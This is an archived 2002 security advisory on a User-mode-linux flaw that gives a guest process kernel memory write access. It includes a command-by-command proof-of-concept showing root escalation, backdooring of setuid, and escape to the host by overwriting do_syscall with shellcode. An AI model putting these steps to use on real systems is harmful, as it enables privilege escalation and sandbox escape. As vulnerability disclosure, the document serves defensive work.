User-mode-linux root compromise



29th Jan 2002 [SBWID-5042]
COMMAND

	User-mode-linux root compromise

SYSTEMS AFFECTED

	 UML patch-2.4.17-8 and previous versions

	

PROBLEM

	Andrew Griffiths reported :
	

	A user proccess can write into kernel memory, which will allow a  person
	to get root inside the uml \"box\", and the possibility to break out  of
	the uml \"box\", into the real one.
	

	This can happen even if the jail and honeypot options are turned  on.  [
	Though I  suspect  the  version  i  was  testing  was  half-way  through
	implementing them ]
	

	Some effects can happen, such as causing the uml processes to  die,  and
	making a process chew up heaps of cpu time indefinately.
	

	I used the small debian 2.2 root fs to  play  around  with,  on  a  host
	kernel of 2.4.17ctx-5 (vserver context security patch).
	

	To  start   it   up   I   used:   [andrewg@blackhole   linux]$   ./linux
	ubd0=debcow,root_fs_debian2.2_small jail=1 honeypot=1 jail honeypot
	

	 Exploit :

	 =======

	

	There is no exploit as such yet, just a tool to  help  you  exploit  it.
	For the commands you don\'t specify the offset  for  sys_call_table,  it
	uses the built in one at 0xa019f650. [ Which is nolonger  valid  for  my
	./linux, and most likely not for your system. ]
	

	[andrewg@blackhole mpmt]$ ./mpmt -h

	./mpmt: invalid option -- h [ Hey, I said it wasn\'t finished. ]

	Multi-Purpose Modification Tool v0.6 by Andrew Griffiths

	./mpmt -1 [ -2 ] [ -o ] [ -p | -f | -s ] [ -r ]

	

	./mpmt -o 0xa020ee1f -p -1 61

	        Would print out the offset of chroot at the sys_call_table

	        location of 0xa020ee1f

	

	./mpmt -1 23 -2 36

	        Would replace setuid()\'s location in sys_call_table with

	        sync()s function.

	

	./mpmt -1 23 -2 36 -r

	        Would replace setuid()\'s location in sys_call_table with

	        sync()s function, and restore it back to it would in n

	        seconds. (time default is 30 seconds)

	

	For values of these numbers, look in /usr/include/asm/unistd.h
	

	Also, you can do abiratory read and writes on kernel  memory,  with  the
	-a for the address, -c for how much to copy,  -R  to  read,  and  -W  to
	write and -F to specify file.
	

	To do things like play around with the sys_call_table, you\'ll need  the
	address of it. To get it, just do:
	

	[andrewg@blackhole linux]$ nm -a linux | grep sys_call_table

	a01bb744 D sys_call_table

	00000000 a sys_call_table.c

	[andrewg@blackhole linux]$

	

	and the first address is the  sys_call_table.  I  haven\'t  looked  into
	determining the sys_call_table address while you\'re in  it.  I  suspect
	it could be done by looking at  the  kernel  memory  (which  is  an  elf
	file),  and  finding  the  address  via  the  global  offset  table,  or
	something. If it isn\'t stripped, you should be laughing. Once  you  can
	work these out, you should  be  able  to  write  a  version  independant
	exploit.
	

	To get a copy of the first 256 bytes of the sys_call_table  struct,  and
	to dump it into systable:
	

	andrewg@usermode:~$ ./mpmt -a 0xa01bb744 -c 256 -R -F systable

	

	To get the first 2048 bytes of setuid so you can backdoor it:
	

	andrewg@usermode:~$ ./mpmt -o 0xa01bb744 -p -1 23

	Location in memory where function 23 is 0xa0018024

	andrewg@usermode:~$ ./mpmt -a 0xa0018024 -c 2048 -F setuid.dump -R

	andrewg@usermode:~$ [ Now run ndisasm and patch and then run... ]

	andrewg@usermode:~$ ./mpmt -a 0xa0018024 -c 2048 -F setuid.dump -W

	

	The sharp reader will have already noticed that  we  could  replace  the
	getuid with a harmless syscall such as sync, and then call su ||  su  -c
	\"shell script\" to do what we want. However, on my system,  there\'s  a
	couple of problems, like it starting of way too many su  proccess\'s  or
	them dying straight away. However the -c one seems to work...
	

	And now for the ultimate exploit against User-mode-linux:  Breaking  out
	of it. To break out of uml, you need to  cause  the  tracer  program  to
	execute code of your choosing. [ No shit!?!  Thats  because  the  tracer
	pid isn\'t running being ptraced itself. Sidenote:  If  you  could  kill
	the tracer, you might be able to execute cide...  ]  We  can  accomplice
	this by writing into certain areas of  memory...  The  function  I  have
	choose to target is do_syscall.
	

	Now, for the exploitation:
	

	[andrewg@blackhole andrewg]$ nm -a /usr/src/linux/linux | grep do_syscall

	a01000f0 T do_syscall

	[andrewg@blackhole andrewg]$ cat /tmp/sh <<_EOF_

	#!/bin/sh

	echo OWNED > /tmp/umlisbroken

	_EOF_

	[andrewg@blackhole andrewg]$ chmod +x /tmp/sh

	

	And now for the usermode linux part, where ex is  just  a  program  that
	spits out standard Aleph1 (Phrack 49) shellcode.
	

	andrewg@usermode:~$ ./ex | sed s/bin/tmp/ > exploit_code

	andrewg@usermode:~$ ./mpmt -a 0xa01000f0 -c 43 -W -F exploit_code 

	

	At this point, the screen where you started UML, is probably  a  message
	like: Kernel panic: Error mapping  a  page  -  errno  =  9  [  Bad  File
	descriptor ]
	

	I suspect its trying to mmap() a page from  somewhere  with  a  fd  that
	isn\'t  valid  for  the  real  kernel.  (Cause  it\'s  no  longer  being
	ptrace()d.)
	

	And now [Drum roll please]
	

	[andrewg@blackhole andrewg]$ cat /tmp/umlisbroken

	OWNED

	[andrewg@blackhole andrewg]$ 

	

	You  may  be  asking  why  the  shellcode  doesn\'t  do  anything   more
	interesting than exec()ing /tmp/sh, well, you  gotta  remember  this  is
	for \"proof of concept\"...
	

	Don\'t forget to do  a  \"killall  -9  linux\"  and  restart  it,  cause
	you\'ve just killed it....

SOLUTION

	To prevent some of  the  problems,  I  suggest  running  the  uml  in  a
	chroot()ed enviroment, with memory and cpu restrictions turned on.
	

	Get version patch-2.4.17-9
